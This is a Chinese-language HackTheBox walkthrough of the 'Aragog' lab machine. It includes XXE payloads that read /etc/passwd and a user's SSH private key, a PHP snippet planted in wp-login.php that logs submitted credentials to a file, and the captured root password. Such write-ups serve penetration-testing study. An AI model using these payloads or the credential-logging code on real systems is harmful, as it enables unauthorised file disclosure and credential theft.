hackthebox - Aragog (考点:ftp & xxe攻击 & 修改php代码提权)

1 扫描

21想到ftp进去找东西,都提示了匿名可进,里面有个test文件,好直白。。
22想到可能有ssh登录
80进web信息搜集

C:\root> nmap -A 10.10.10.78
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-29 23:03 EDT
Nmap scan report for 10.10.10.78
Host is up (0.25s latency).
Not shown: 872 closed ports, 125 filtered ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r--r--r--    1 ftp      ftp            86 Dec 21  2017 test.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.2
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ad:21:fb:50:16:d4:93:dc:b7:29:1f:4c:c2:61:16:48 (RSA)
|   256 2c:94:00:3c:57:2f:c2:49:77:24:aa:22:6a:43:7d:b1 (ECDSA)
|_  256 9a:ff:8b:e4:0e:98:70:52:29:68:0e:cc:a0:7d:5c:1f (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

2 ftp利用

还说啥,anonymous进去,输入binary,然后get下载那个test
打开看是xml格式
hackthebox - Aragog (考点:ftp & xxe攻击 & 修改php代码提权)_第1张图片

3 web信息搜集

进入网页,没什么东西
dirbuster扫,gobuster扫各种报错,可能是网络问题或者靶机问题,重启靶机
再折腾一会,才扫出新目录host
但是看不懂,先抓包看看吧
抓的包也没价值。但是联想到先前看到的xml,可能会有xxe攻击,网上很多科普xxe

把ftp里的test内容复制到burp的repeater
再看,又新的内容了。证实可以攻击
hackthebox - Aragog (考点:ftp & xxe攻击 & 修改php代码提权)_第2张图片

4 xxe攻击

那我伪造xml,先看经典的/etc/passwd就像devoops靶机

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE details [

<!ELEMENT subnet_mask ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<details>

    <subnet_mask>&xxe;</subnet_mask>

    <test></test>

</details>

先看用户表,成功显示,并发现俩bash也就是俩有shell的用户
hackthebox - Aragog (考点:ftp & xxe攻击 & 修改php代码提权)_第3张图片
hackthebox - Aragog (考点:ftp & xxe攻击 & 修改php代码提权)_第4张图片

和那个devoop靶机一样思路,既然ssh开了,何不妨找sshkey?
找到了f用户的


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE details [
<!ELEMENT subnet_mask ANY >
<!ENTITY xxe SYSTEM "/home/florian/.ssh/id_rsa" >]>
<details>
    <subnet_mask>&xxe;</subnet_mask>
    <test></test>
</details>

复制到本机,保存为id_rsa或者其他名,chmod 600 id_rsa 随后ssh -i id_rsa [email protected]登录成功hackthebox - Aragog (考点:ftp & xxe攻击 & 修改php代码提权)_第5张图片

5 提权

靶机里有俩用户,一般套路就是先提权到另一个用户,然后从另一个用户有漏洞提到root
老套路自动脚本扫,linpeas下载没发现啥,可以扫到数据库账号密码,但是切cliff或切到root没用。
不过,账号重复利用,总是一个常见套路,这次没用,不见得其他时候没用,留心。

继续上pspy扫进程pspy下载

看到uid是1001这个用户,想到cliff,,我们之前从/etc/passwd看到他的uid就是1001,
他在循环运行这个wp博客登录脚本wp-login.py。之前我们从没看到还有wordpress博客的信息,这里又冒出来这个。
hackthebox - Aragog (考点:ftp & xxe攻击 & 修改php代码提权)_第6张图片

但是这个脚本我们打不开,无法查看。如果有写的权限,直接放弹shell代码或提权代码,岂不美哉。但现在这个文件我们没权限。

另外在/var/www/html也发现了dev_wiki这个目录,里面都是这个靶机服务器关于wp博客的配置文件。根据ls -la查看,在权限那里,虽然属于cliff,但我们竟然也有写的权限。
hackthebox - Aragog (考点:ftp & xxe攻击 & 修改php代码提权)_第7张图片
这个包含wp博客的目录,之前我们没扫到。
我再放到浏览器里扫10.10.10.78/dev_wiki
提示跳转新dns地址问题报错
hackthebox - Aragog (考点:ftp & xxe攻击 & 修改php代码提权)_第8张图片
加到本机的/etc/hosts里去
在这里插入图片描述
再打开,可以了,进入了wp博客。找到个这个页面,看到这个留言里说,cliff会经常按时保持登录的
hackthebox - Aragog (考点:ftp & xxe攻击 & 修改php代码提权)_第9张图片

如此,联想到pspy的进程扫描,是不是cliff用那个脚本进行按时的wp博客自动登录??
虽然我们打不开那个脚本。更没写的权限。
但是我们有wp整个配置文件的写的权限啊,都在dev_wiki目录里。
这个dev_wiki里也有wp-login.php管理着这个靶机服务器关于wp博客登录的大大小小
我们既然有写的权限,何不修改一下这个wp-login.php,比如里面放抓post的代码,因为账号密码属于post,cliff只要登录输入账号密码,就被我抓取,我就知道他wp账号密码了。有了这个,再看下一步如何走。

于是我在wp-login.php开头,写入简单的php代码。放到 就是个简单的函数,抓post值输出到新文件,我这里是放到tmp目录下。网上很多科普和科普

$file='/tmp/credentials.txt';
file_put_contents($file,$_POST);

hackthebox - Aragog (考点:ftp & xxe攻击 & 修改php代码提权)_第10张图片
过一会。我再查看输出的文件。就有了,成功抓到,直接显示是admin。不过格式有点乱,log in是登录,所以应该不是密码。密码是前面的部分。!KRgYs(JFO!&MTr)lf
在这里插入图片描述
最后,切cliff,失败,但是就像我上面说了的,密码可能有重复利用套路,何况这账户还写的是admin,不妨试试直接切成root,成功。拿下root。
在这里插入图片描述

你可能感兴趣的:(hackthebox - Aragog (考点:ftp & xxe攻击 & 修改php代码提权))